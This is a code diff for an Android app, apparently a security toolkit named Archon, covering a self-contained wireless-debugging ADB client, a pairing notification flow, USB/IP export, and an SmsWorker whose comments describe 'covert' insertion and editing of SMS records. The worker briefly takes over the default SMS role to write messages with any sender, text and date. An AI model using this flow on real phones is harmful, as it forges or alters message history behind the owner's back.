||||
}
|
||||
|
||||
if (started) {
|
||||
bluetoothRunning = true
|
||||
handler.post { listener?.onDiscoveryStarted(ConnectionMethod.BLUETOOTH) }
|
||||
Log.d(TAG, "Bluetooth discovery started")
|
||||
} else {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, "Failed to start BT discovery")
|
||||
}
|
||||
|
||||
} catch (e: Exception) {
|
||||
notifyError(ConnectionMethod.BLUETOOTH, e.message ?: "Unknown error")
|
||||
}
|
||||
}
|
||||
|
||||
private fun stopBluetoothDiscovery() {
|
||||
if (!bluetoothRunning) return
|
||||
try {
|
||||
bluetoothAdapter?.cancelDiscovery()
|
||||
context.unregisterReceiver(btReceiver)
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Bluetooth stop error: ${e.message}")
|
||||
}
|
||||
bluetoothRunning = false
|
||||
}
|
||||
|
||||
// ── Helpers ─────────────────────────────────────────────────────
|
||||
|
||||
private fun notifyError(method: ConnectionMethod, error: String) {
|
||||
Log.e(TAG, "${method.name}: $error")
|
||||
handler.post { listener?.onDiscoveryError(method, error) }
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,391 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.content.Context
|
||||
import android.util.Base64
|
||||
import android.util.Log
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
import io.github.muntashirakon.adb.AbsAdbConnectionManager
|
||||
import io.github.muntashirakon.adb.android.AdbMdns
|
||||
import org.conscrypt.Conscrypt
|
||||
import java.io.ByteArrayInputStream
|
||||
import java.io.ByteArrayOutputStream
|
||||
import java.math.BigInteger
|
||||
import java.security.KeyFactory
|
||||
import java.security.KeyPairGenerator
|
||||
import java.security.PrivateKey
|
||||
import java.security.SecureRandom
|
||||
import java.security.Security
|
||||
import java.security.Signature
|
||||
import java.security.cert.Certificate
|
||||
import java.security.cert.CertificateFactory
|
||||
import java.security.spec.PKCS8EncodedKeySpec
|
||||
import java.util.Calendar
|
||||
import java.util.TimeZone
|
||||
import java.util.concurrent.CountDownLatch
|
||||
import java.util.concurrent.TimeUnit
|
||||
import java.util.concurrent.atomic.AtomicBoolean
|
||||
import java.util.concurrent.atomic.AtomicInteger
|
||||
import android.os.Build
|
||||
|
||||
/**
|
||||
* Self-contained local ADB client using libadb-android.
|
||||
* Handles wireless debugging pairing, mDNS discovery, and shell command execution.
|
||||
* No external ADB binary needed — pure Java/TLS implementation.
|
||||
*/
|
||||
object LocalAdbClient {
|
||||
|
||||
private const val TAG = "LocalAdbClient"
|
||||
private const val PREFS_NAME = "archon_adb_keys"
|
||||
private const val KEY_PRIVATE = "adb_private_key"
|
||||
private const val KEY_CERTIFICATE = "adb_certificate"
|
||||
private const val LOCALHOST = "127.0.0.1"
|
||||
|
||||
private var connectionManager: AbsAdbConnectionManager? = null
|
||||
private var connected = AtomicBoolean(false)
|
||||
private var connectedPort = AtomicInteger(0)
|
||||
|
||||
init {
|
||||
// Install Conscrypt as the default TLS provider for TLSv1.3 support
|
||||
Security.insertProviderAt(Conscrypt.newProvider(), 1)
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if we have a stored ADB key pair (device has been paired before).
|
||||
*/
|
||||
fun hasKeyPair(context: Context): Boolean {
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
return prefs.contains(KEY_PRIVATE) && prefs.contains(KEY_CERTIFICATE)
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a new RSA-2048 key pair for ADB authentication.
|
||||
* Stored in SharedPreferences.
|
||||
*/
|
||||
fun generateKeyPair(context: Context) {
|
||||
val kpg = KeyPairGenerator.getInstance("RSA")
|
||||
kpg.initialize(2048)
|
||||
val keyPair = kpg.generateKeyPair()
|
||||
|
||||
// Generate self-signed certificate using Android's built-in X509 support
|
||||
val certificate = generateSelfSignedCert(keyPair)
|
||||
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
prefs.edit()
|
||||
.putString(KEY_PRIVATE, Base64.encodeToString(keyPair.private.encoded, Base64.NO_WRAP))
|
||||
.putString(KEY_CERTIFICATE, Base64.encodeToString(certificate.encoded, Base64.NO_WRAP))
|
||||
.apply()
|
||||
|
||||
Log.i(TAG, "Generated new ADB key pair")
|
||||
}
|
||||
|
||||
/**
|
||||
* Generate a self-signed X.509 v3 certificate for ADB authentication.
|
||||
* Built from raw DER/ASN.1 encoding — no sun.security or BouncyCastle needed.
|
||||
*/
|
||||
private fun generateSelfSignedCert(keyPair: java.security.KeyPair): Certificate {
|
||||
val serial = BigInteger(64, SecureRandom())
|
||||
|
||||
val notBefore = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
|
||||
val notAfter = Calendar.getInstance(TimeZone.getTimeZone("UTC"))
|
||||
notAfter.add(Calendar.YEAR, 25)
|
||||
|
||||
// DN: CN=adb_archon
|
||||
val dn = derSequence(derSet(derSequence(
|
||||
derOid(byteArrayOf(0x55, 0x04, 0x03)), // OID 2.5.4.3 = CN
|
||||
derUtf8String("adb_archon")
|
||||
)))
|
||||
|
||||
// SHA256withRSA algorithm identifier
|
||||
// OID 1.2.840.113549.1.1.11
|
||||
val sha256WithRsa = byteArrayOf(
|
||||
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xCE.toByte(),
|
||||
0x3D, 0x04, 0x03, 0x02 // placeholder, replaced below
|
||||
)
|
||||
// Correct OID bytes for 1.2.840.113549.1.1.11
|
||||
val sha256RsaOid = byteArrayOf(
|
||||
0x2A, 0x86.toByte(), 0x48, 0x86.toByte(), 0xF7.toByte(),
|
||||
0x0D, 0x01, 0x01, 0x0B
|
||||
)
|
||||
val algId = derSequence(derOid(sha256RsaOid), derNull())
|
||||
|
||||
// SubjectPublicKeyInfo — re-use the encoded form from the key
|
||||
val spki = keyPair.public.encoded // Already DER-encoded SubjectPublicKeyInfo
|
||||
|
||||
// TBSCertificate
|
||||
val tbs = derSequence(
|
||||
derExplicit(0, derInteger(BigInteger.valueOf(2))), // v3
|
||||
derInteger(serial),
|
||||
algId,
|
||||
dn, // issuer
|
||||
derSequence(derUtcTime(notBefore), derUtcTime(notAfter)), // validity
|
||||
dn, // subject = issuer (self-signed)
|
||||
spki // subjectPublicKeyInfo
|
||||
)
|
||||
|
||||
// Sign the TBS
|
||||
val sig = Signature.getInstance("SHA256withRSA")
|
||||
sig.initSign(keyPair.private)
|
||||
sig.update(tbs)
|
||||
val signature = sig.sign()
|
||||
|
||||
// Full certificate: SEQUENCE { tbs, algId, BIT STRING(signature) }
|
||||
val certDer = derSequence(tbs, algId, derBitString(signature))
|
||||
|
||||
val cf = CertificateFactory.getInstance("X.509")
|
||||
return cf.generateCertificate(ByteArrayInputStream(certDer))
|
||||
}
|
||||
|
||||
// ── ASN.1 / DER helpers ──────────────────────────────────────
|
||||
|
||||
private fun derTag(tag: Int, content: ByteArray): ByteArray {
|
||||
val out = ByteArrayOutputStream()
|
||||
out.write(tag)
|
||||
derWriteLength(out, content.size)
|
||||
out.write(content)
|
||||
return out.toByteArray()
|
||||
}
|
||||
|
||||
private fun derWriteLength(out: ByteArrayOutputStream, length: Int) {
|
||||
if (length < 0x80) {
|
||||
out.write(length)
|
||||
} else if (length < 0x100) {
|
||||
out.write(0x81)
|
||||
out.write(length)
|
||||
} else if (length < 0x10000) {
|
||||
out.write(0x82)
|
||||
out.write(length shr 8)
|
||||
out.write(length and 0xFF)
|
||||
} else {
|
||||
out.write(0x83)
|
||||
out.write(length shr 16)
|
||||
out.write((length shr 8) and 0xFF)
|
||||
out.write(length and 0xFF)
|
||||
}
|
||||
}
|
||||
|
||||
private fun derSequence(vararg items: ByteArray): ByteArray {
|
||||
val content = ByteArrayOutputStream()
|
||||
for (item in items) content.write(item)
|
||||
return derTag(0x30, content.toByteArray())
|
||||
}
|
||||
|
||||
private fun derSet(vararg items: ByteArray): ByteArray {
|
||||
val content = ByteArrayOutputStream()
|
||||
for (item in items) content.write(item)
|
||||
return derTag(0x31, content.toByteArray())
|
||||
}
|
||||
|
||||
private fun derInteger(value: BigInteger): ByteArray {
|
||||
val bytes = value.toByteArray()
|
||||
return derTag(0x02, bytes)
|
||||
}
|
||||
|
||||
private fun derOid(oidBytes: ByteArray): ByteArray {
|
||||
return derTag(0x06, oidBytes)
|
||||
}
|
||||
|
||||
private fun derNull(): ByteArray = byteArrayOf(0x05, 0x00)
|
||||
|
||||
private fun derUtf8String(s: String): ByteArray {
|
||||
return derTag(0x0C, s.toByteArray(Charsets.UTF_8))
|
||||
}
|
||||
|
||||
private fun derBitString(data: ByteArray): ByteArray {
|
||||
val content = ByteArray(data.size + 1)
|
||||
content[0] = 0 // no unused bits
|
||||
System.arraycopy(data, 0, content, 1, data.size)
|
||||
return derTag(0x03, content)
|
||||
}
|
||||
|
||||
private fun derUtcTime(cal: Calendar): ByteArray {
|
||||
val s = String.format(
|
||||
"%02d%02d%02d%02d%02d%02dZ",
|
||||
cal.get(Calendar.YEAR) % 100,
|
||||
cal.get(Calendar.MONTH) + 1,
|
||||
cal.get(Calendar.DAY_OF_MONTH),
|
||||
cal.get(Calendar.HOUR_OF_DAY),
|
||||
cal.get(Calendar.MINUTE),
|
||||
cal.get(Calendar.SECOND)
|
||||
)
|
||||
return derTag(0x17, s.toByteArray(Charsets.US_ASCII))
|
||||
}
|
||||
|
||||
private fun derExplicit(tag: Int, content: ByteArray): ByteArray {
|
||||
return derTag(0xA0 or tag, content)
|
||||
}
|
||||
|
||||
/**
|
||||
* Discover the wireless debugging pairing port via mDNS.
|
||||
*/
|
||||
fun discoverPairingPort(context: Context, timeoutSec: Long = 15): Int? {
|
||||
val foundPort = AtomicInteger(-1)
|
||||
val latch = CountDownLatch(1)
|
||||
|
||||
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_PAIRING) { hostAddress, port ->
|
||||
Log.i(TAG, "Found pairing service at $hostAddress:$port")
|
||||
foundPort.set(port)
|
||||
latch.countDown()
|
||||
}
|
||||
mdns.start()
|
||||
|
||||
latch.await(timeoutSec, TimeUnit.SECONDS)
|
||||
mdns.stop()
|
||||
|
||||
val port = foundPort.get()
|
||||
return if (port > 0) port else null
|
||||
}
|
||||
|
||||
/**
|
||||
* Pair with the device's wireless debugging service.
|
||||
*/
|
||||
fun pair(context: Context, host: String = LOCALHOST, port: Int, code: String): Boolean {
|
||||
return try {
|
||||
ensureKeyPair(context)
|
||||
val manager = getOrCreateManager(context)
|
||||
val success = manager.pair(host, port, code)
|
||||
Log.i(TAG, "Pairing result: $success")
|
||||
success
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Pairing failed", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Discover the wireless debugging connect port via mDNS.
|
||||
*/
|
||||
fun discoverConnectPort(context: Context, timeoutSec: Long = 10): Int? {
|
||||
val foundPort = AtomicInteger(-1)
|
||||
val latch = CountDownLatch(1)
|
||||
|
||||
val mdns = AdbMdns(context, AdbMdns.SERVICE_TYPE_TLS_CONNECT) { hostAddress, port ->
|
||||
Log.i(TAG, "Found connect service at $hostAddress:$port")
|
||||
foundPort.set(port)
|
||||
latch.countDown()
|
||||
}
|
||||
mdns.start()
|
||||
|
||||
latch.await(timeoutSec, TimeUnit.SECONDS)
|
||||
mdns.stop()
|
||||
|
||||
val port = foundPort.get()
|
||||
return if (port > 0) port else null
|
||||
}
|
||||
|
||||
/**
|
||||
* Connect to the device's wireless debugging ADB service.
|
||||
*/
|
||||
fun connect(context: Context, host: String = LOCALHOST, port: Int): Boolean {
|
||||
return try {
|
||||
val manager = getOrCreateManager(context)
|
||||
val success = manager.connect(host, port)
|
||||
connected.set(success)
|
||||
if (success) connectedPort.set(port)
|
||||
Log.i(TAG, "Connect result: $success (port=$port)")
|
||||
success
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Connect failed", e)
|
||||
connected.set(false)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Auto-connect: discover port via mDNS and connect.
|
||||
*/
|
||||
fun autoConnect(context: Context): Boolean {
|
||||
val port = discoverConnectPort(context) ?: return false
|
||||
return connect(context, LOCALHOST, port)
|
||||
}
|
||||
|
||||
/**
|
||||
* Disconnect the current ADB session.
|
||||
*/
|
||||
fun disconnect() {
|
||||
try {
|
||||
connectionManager?.disconnect()
|
||||
} catch (e: Exception) {
|
||||
Log.w(TAG, "Disconnect error", e)
|
||||
}
|
||||
connected.set(false)
|
||||
connectedPort.set(0)
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if currently connected to an ADB session.
|
||||
*/
|
||||
fun isConnected(): Boolean = connected.get()
|
||||
|
||||
/**
|
||||
* Execute a shell command via the local ADB connection.
|
||||
*/
|
||||
fun execute(command: String): ShellResult {
|
||||
if (!connected.get()) {
|
||||
return ShellResult("", "Not connected to local ADB", -1)
|
||||
}
|
||||
|
||||
return try {
|
||||
val manager = connectionManager ?: return ShellResult("", "No connection manager", -1)
|
||||
val stream = manager.openStream("shell:$command")
|
||||
val inputStream = stream.openInputStream()
|
||||
val stdout = inputStream.bufferedReader().readText().trim()
|
||||
stream.close()
|
||||
ShellResult(stdout, "", 0)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Shell execute failed", e)
|
||||
connected.set(false)
|
||||
ShellResult("", "ADB shell error: ${e.message}", -1)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if we were previously paired (have keys stored).
|
||||
*/
|
||||
fun isPaired(context: Context): Boolean = hasKeyPair(context)
|
||||
|
||||
/**
|
||||
* Get a human-readable status string.
|
||||
*/
|
||||
fun getStatusString(context: Context): String {
|
||||
return when {
|
||||
connected.get() -> "Connected (port ${connectedPort.get()})"
|
||||
hasKeyPair(context) -> "Paired, not connected"
|
||||
else -> "Not paired"
|
||||
}
|
||||
}
|
||||
|
||||
// ── Internal ──────────────────────────────────────────────────
|
||||
|
||||
private fun ensureKeyPair(context: Context) {
|
||||
if (!hasKeyPair(context)) {
|
||||
generateKeyPair(context)
|
||||
}
|
||||
}
|
||||
|
||||
private fun getOrCreateManager(context: Context): AbsAdbConnectionManager {
|
||||
connectionManager?.let { return it }
|
||||
|
||||
ensureKeyPair(context)
|
||||
|
||||
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
|
||||
val privateKeyBytes = Base64.decode(prefs.getString(KEY_PRIVATE, ""), Base64.NO_WRAP)
|
||||
val certBytes = Base64.decode(prefs.getString(KEY_CERTIFICATE, ""), Base64.NO_WRAP)
|
||||
|
||||
val keySpec = PKCS8EncodedKeySpec(privateKeyBytes)
|
||||
val privateKey = KeyFactory.getInstance("RSA").generatePrivate(keySpec)
|
||||
|
||||
val certFactory = CertificateFactory.getInstance("X.509")
|
||||
val certificate = certFactory.generateCertificate(ByteArrayInputStream(certBytes))
|
||||
|
||||
val manager = object : AbsAdbConnectionManager() {
|
||||
override fun getPrivateKey(): PrivateKey = privateKey
|
||||
override fun getCertificate(): Certificate = certificate
|
||||
override fun getDeviceName(): String = "archon_${Build.MODEL}"
|
||||
}
|
||||
manager.setApi(Build.VERSION.SDK_INT)
|
||||
manager.setHostAddress(LOCALHOST)
|
||||
|
||||
connectionManager = manager
|
||||
return manager
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.app.NotificationChannel
|
||||
import android.app.NotificationManager
|
||||
import android.app.PendingIntent
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.os.Build
|
||||
import android.util.Log
|
||||
import androidx.core.app.NotificationCompat
|
||||
import androidx.core.app.RemoteInput
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
|
||||
/**
|
||||
* Handles the pairing code entered via notification inline reply.
|
||||
*
|
||||
* Flow (like Shizuku):
|
||||
* 1. User taps "START PAIRING" in Setup
|
||||
* 2. App shows notification with text input for pairing code
|
||||
* 3. User opens Developer Options > Wireless Debugging > Pair with code
|
||||
* 4. User pulls down notification shade and enters the 6-digit code
|
||||
* 5. This receiver auto-detects port, pairs, connects, starts ArchonServer
|
||||
*/
|
||||
class PairingReceiver : BroadcastReceiver() {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "PairingReceiver"
|
||||
const val ACTION_PAIR = "com.darkhal.archon.ACTION_PAIR"
|
||||
const val KEY_PAIRING_CODE = "pairing_code"
|
||||
const val NOTIFICATION_ID = 42
|
||||
const val CHANNEL_ID = "archon_pairing"
|
||||
|
||||
/**
|
||||
* Show the pairing notification with inline text input.
|
||||
*/
|
||||
fun showPairingNotification(context: Context) {
|
||||
createChannel(context)
|
||||
|
||||
val replyIntent = Intent(ACTION_PAIR).apply {
|
||||
setPackage(context.packageName)
|
||||
}
|
||||
val replyPending = PendingIntent.getBroadcast(
|
||||
context, 0, replyIntent,
|
||||
PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
|
||||
)
|
||||
|
||||
val remoteInput = RemoteInput.Builder(KEY_PAIRING_CODE)
|
||||
.setLabel("6-digit pairing code")
|
||||
.build()
|
||||
|
||||
val action = NotificationCompat.Action.Builder(
|
||||
R.drawable.ic_archon,
|
||||
"Enter pairing code",
|
||||
replyPending
|
||||
)
|
||||
.addRemoteInput(remoteInput)
|
||||
.build()
|
||||
|
||||
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
|
||||
.setSmallIcon(R.drawable.ic_archon)
|
||||
.setContentTitle("Archon — Wireless Debugging Pairing")
|
||||
.setContentText("Open Settings > Developer Options > Wireless Debugging > Pair with code")
|
||||
.setStyle(NotificationCompat.BigTextStyle()
|
||||
.bigText("1. Open Settings > Developer Options\n" +
|
||||
"2. Enable Wireless Debugging\n" +
|
||||
"3. Tap 'Pair with pairing code'\n" +
|
||||
"4. Enter the 6-digit code below"))
|
||||
.addAction(action)
|
||||
.setOngoing(true)
|
||||
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||||
.setAutoCancel(false)
|
||||
.build()
|
||||
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.notify(NOTIFICATION_ID, notification)
|
||||
}
|
||||
|
||||
/**
|
||||
* Update the notification with a status message (no input).
|
||||
*/
|
||||
fun updateNotification(context: Context, message: String, ongoing: Boolean = false) {
|
||||
createChannel(context)
|
||||
|
||||
val notification = NotificationCompat.Builder(context, CHANNEL_ID)
|
||||
.setSmallIcon(R.drawable.ic_archon)
|
||||
.setContentTitle("Archon Pairing")
|
||||
.setContentText(message)
|
||||
.setOngoing(ongoing)
|
||||
.setPriority(NotificationCompat.PRIORITY_HIGH)
|
||||
.setAutoCancel(!ongoing)
|
||||
.build()
|
||||
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.notify(NOTIFICATION_ID, notification)
|
||||
}
|
||||
|
||||
/**
|
||||
* Dismiss the pairing notification.
|
||||
*/
|
||||
fun dismissNotification(context: Context) {
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.cancel(NOTIFICATION_ID)
|
||||
}
|
||||
|
||||
private fun createChannel(context: Context) {
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
|
||||
val channel = NotificationChannel(
|
||||
CHANNEL_ID,
|
||||
"Wireless Debugging Pairing",
|
||||
NotificationManager.IMPORTANCE_HIGH
|
||||
).apply {
|
||||
description = "Used for entering the wireless debugging pairing code"
|
||||
}
|
||||
val nm = context.getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
|
||||
nm.createNotificationChannel(channel)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
if (intent.action != ACTION_PAIR) return
|
||||
|
||||
val remoteInput = RemoteInput.getResultsFromIntent(intent)
|
||||
val code = remoteInput?.getCharSequence(KEY_PAIRING_CODE)?.toString()?.trim()
|
||||
|
||||
if (code.isNullOrEmpty()) {
|
||||
updateNotification(context, "No code entered — try again")
|
||||
showPairingNotification(context)
|
||||
return
|
||||
}
|
||||
|
||||
Log.i(TAG, "Received pairing code: $code")
|
||||
updateNotification(context, "Pairing with code $code...", ongoing = true)
|
||||
|
||||
// Run pairing in background thread
|
||||
Thread {
|
||||
try {
|
||||
// Auto-detect pairing port
|
||||
Log.i(TAG, "Discovering pairing port...")
|
||||
val port = LocalAdbClient.discoverPairingPort(context)
|
||||
if (port == null) {
|
||||
Log.w(TAG, "Could not find pairing port")
|
||||
updateNotification(context, "Failed: no pairing port found. Is the Pair dialog still open?")
|
||||
Thread.sleep(3000)
|
||||
showPairingNotification(context)
|
||||
return@Thread
|
||||
}
|
||||
|
||||
Log.i(TAG, "Found pairing port: $port, pairing...")
|
||||
updateNotification(context, "Found port $port, pairing...", ongoing = true)
|
||||
|
||||
val success = LocalAdbClient.pair(context, "127.0.0.1", port, code)
|
||||
if (!success) {
|
||||
Log.w(TAG, "Pairing failed")
|
||||
updateNotification(context, "Pairing failed — wrong code or port changed. Try again.")
|
||||
Thread.sleep(3000)
|
||||
showPairingNotification(context)
|
||||
return@Thread
|
||||
}
|
||||
|
||||
Log.i(TAG, "Paired! Waiting for connect service...")
|
||||
updateNotification(context, "Paired! Waiting for ADB connect service...", ongoing = true)
|
||||
|
||||
// Wait for wireless debugging to register the connect service after pairing
|
||||
Thread.sleep(2000)
|
||||
|
||||
// Try to discover and connect with retries
|
||||
var connectSuccess = false
|
||||
for (attempt in 1..3) {
|
||||
Log.i(TAG, "Connect attempt $attempt/3...")
|
||||
updateNotification(context, "Connecting (attempt $attempt/3)...", ongoing = true)
|
||||
|
||||
val connectPort = LocalAdbClient.discoverConnectPort(context, timeoutSec = 8)
|
||||
if (connectPort != null) {
|
||||
Log.i(TAG, "Found connect port: $connectPort")
|
||||
connectSuccess = LocalAdbClient.connect(context, "127.0.0.1", connectPort)
|
||||
if (connectSuccess) {
|
||||
Log.i(TAG, "Connected on port $connectPort")
|
||||
break
|
||||
}
|
||||
Log.w(TAG, "Connect failed on port $connectPort")
|
||||
} else {
|
||||
Log.w(TAG, "mDNS connect discovery failed (attempt $attempt)")
|
||||
}
|
||||
|
||||
if (attempt < 3) Thread.sleep(2000)
|
||||
}
|
||||
|
||||
if (!connectSuccess) {
|
||||
Log.w(TAG, "All connect attempts failed")
|
||||
updateNotification(context, "Paired but connect failed. Open Setup tab and tap START SERVER.", ongoing = false)
|
||||
return@Thread
|
||||
}
|
||||
|
||||
// Try to start ArchonServer
|
||||
updateNotification(context, "Connected! Starting Archon Server...", ongoing = true)
|
||||
val result = ArchonClient.startServer(context)
|
||||
|
||||
val msg = if (result.success) {
|
||||
"Paired + connected + Archon Server running!"
|
||||
} else {
|
||||
"Paired + connected! Server: ${result.message}"
|
||||
}
|
||||
|
||||
Log.i(TAG, msg)
|
||||
updateNotification(context, msg, ongoing = false)
|
||||
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Pairing error", e)
|
||||
updateNotification(context, "Error: ${e.message}")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,130 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import android.content.BroadcastReceiver
|
||||
import android.content.ContentValues
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.net.Uri
|
||||
import android.util.Log
|
||||
import java.io.File
|
||||
|
||||
/**
|
||||
* Handles covert SMS insert/update from ADB shell broadcasts.
|
||||
*
|
||||
* Flow:
|
||||
* 1. Python backend sets Archon as default SMS app via `cmd role`
|
||||
* 2. Sends: am broadcast -a com.darkhal.archon.SMS_INSERT -n .../.service.SmsWorker --es address ... --es body ...
|
||||
* 3. This receiver does ContentResolver.insert() at Archon's UID (which is now the default SMS app)
|
||||
* 4. Writes result to files/sms_result.txt
|
||||
* 5. Python reads result via `run-as com.darkhal.archon cat files/sms_result.txt`
|
||||
* 6. Python restores original default SMS app
|
||||
*/
|
||||
class SmsWorker : BroadcastReceiver() {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "SmsWorker"
|
||||
const val ACTION_INSERT = "com.darkhal.archon.SMS_INSERT"
|
||||
const val ACTION_UPDATE = "com.darkhal.archon.SMS_UPDATE"
|
||||
const val RESULT_FILE = "sms_result.txt"
|
||||
}
|
||||
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
val action = intent.action ?: return
|
||||
val resultFile = File(context.filesDir, RESULT_FILE)
|
||||
|
||||
try {
|
||||
when (action) {
|
||||
ACTION_INSERT -> handleInsert(context, intent, resultFile)
|
||||
ACTION_UPDATE -> handleUpdate(context, intent, resultFile)
|
||||
else -> resultFile.writeText("ERROR:Unknown action $action")
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "SMS operation failed", e)
|
||||
resultFile.writeText("ERROR:${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun handleInsert(context: Context, intent: Intent, resultFile: File) {
|
||||
val address = intent.getStringExtra("address") ?: run {
|
||||
resultFile.writeText("ERROR:No address"); return
|
||||
}
|
||||
val body = intent.getStringExtra("body") ?: run {
|
||||
resultFile.writeText("ERROR:No body"); return
|
||||
}
|
||||
|
||||
val values = ContentValues().apply {
|
||||
put("address", address)
|
||||
put("body", body)
|
||||
put("date", intent.getLongExtra("date", System.currentTimeMillis()))
|
||||
put("type", intent.getIntExtra("type", 1))
|
||||
put("read", intent.getIntExtra("read", 1))
|
||||
put("seen", 1)
|
||||
}
|
||||
|
||||
val uri = context.contentResolver.insert(Uri.parse("content://sms/"), values)
|
||||
|
||||
if (uri != null) {
|
||||
Log.i(TAG, "SMS inserted: $uri")
|
||||
resultFile.writeText("SUCCESS:$uri")
|
||||
} else {
|
||||
Log.w(TAG, "SMS insert returned null")
|
||||
resultFile.writeText("FAIL:provider returned null")
|
||||
}
|
||||
}
|
||||
|
||||
private fun handleUpdate(context: Context, intent: Intent, resultFile: File) {
|
||||
val smsId = intent.getStringExtra("id") ?: run {
|
||||
resultFile.writeText("ERROR:No SMS id"); return
|
||||
}
|
||||
|
||||
val values = ContentValues()
|
||||
intent.getStringExtra("body")?.let { values.put("body", it) }
|
||||
intent.getStringExtra("address")?.let { values.put("address", it) }
|
||||
if (intent.hasExtra("type")) values.put("type", intent.getIntExtra("type", 1))
|
||||
if (intent.hasExtra("read")) values.put("read", intent.getIntExtra("read", 1))
|
||||
if (intent.hasExtra("date")) values.put("date", intent.getLongExtra("date", 0))
|
||||
|
||||
if (values.size() == 0) {
|
||||
resultFile.writeText("ERROR:Nothing to update"); return
|
||||
}
|
||||
|
||||
val count = context.contentResolver.update(
|
||||
Uri.parse("content://sms/$smsId"), values, null, null
|
||||
)
|
||||
|
||||
Log.i(TAG, "SMS update: $count rows affected for id=$smsId")
|
||||
resultFile.writeText("SUCCESS:updated=$count")
|
||||
}
|
||||
}
|
||||
|
||||
// ── SMS Role stubs ──────────────────────────────────────────────
|
||||
// These are required for Android to accept Archon as a valid SMS role holder.
|
||||
// They don't need to do anything — they just need to exist and be declared
|
||||
// in the manifest with the correct intent filters and permissions.
|
||||
|
||||
/** Stub: receives incoming SMS when we're temporarily the default SMS app. */
|
||||
class SmsDeliverReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
// Intentionally empty — we only hold the SMS role briefly for inserts
|
||||
}
|
||||
}
|
||||
|
||||
/** Stub: receives incoming MMS when we're temporarily the default SMS app. */
|
||||
class MmsDeliverReceiver : BroadcastReceiver() {
|
||||
override fun onReceive(context: Context, intent: Intent) {
|
||||
// Intentionally empty
|
||||
}
|
||||
}
|
||||
|
||||
/** Stub: "respond via message" service required for SMS role. */
|
||||
class RespondViaMessageService : android.app.Service() {
|
||||
override fun onBind(intent: Intent?): android.os.IBinder? = null
|
||||
}
|
||||
|
||||
/** Stub: SMS compose activity required for SMS role. Immediately finishes. */
|
||||
class SmsComposeActivity : android.app.Activity() {
|
||||
override fun onCreate(savedInstanceState: android.os.Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
finish()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package com.darkhal.archon.service
|
||||
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.ShellResult
|
||||
|
||||
data class UsbDevice(
|
||||
val busId: String,
|
||||
val description: String
|
||||
)
|
||||
|
||||
object UsbIpManager {
|
||||
|
||||
private const val USBIPD_PROCESS = "usbipd"
|
||||
|
||||
/**
|
||||
* Start USB/IP daemon to export this device's USB gadget over the network.
|
||||
*/
|
||||
fun startExport(): ShellResult {
|
||||
return PrivilegeManager.execute("usbipd -D")
|
||||
}
|
||||
|
||||
/**
|
||||
* Stop the USB/IP daemon.
|
||||
*/
|
||||
fun stopExport(): ShellResult {
|
||||
return PrivilegeManager.execute("killall $USBIPD_PROCESS")
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if usbipd is currently running.
|
||||
*/
|
||||
fun isExporting(): Boolean {
|
||||
val result = ShellExecutor.execute("pidof $USBIPD_PROCESS")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if the usbip binary is available on this device.
|
||||
*/
|
||||
fun isAvailable(): Boolean {
|
||||
val result = ShellExecutor.execute("which usbip || which usbipd")
|
||||
return result.exitCode == 0 && result.stdout.isNotEmpty()
|
||||
}
|
||||
|
||||
/**
|
||||
* List local USB devices that can be exported.
|
||||
*/
|
||||
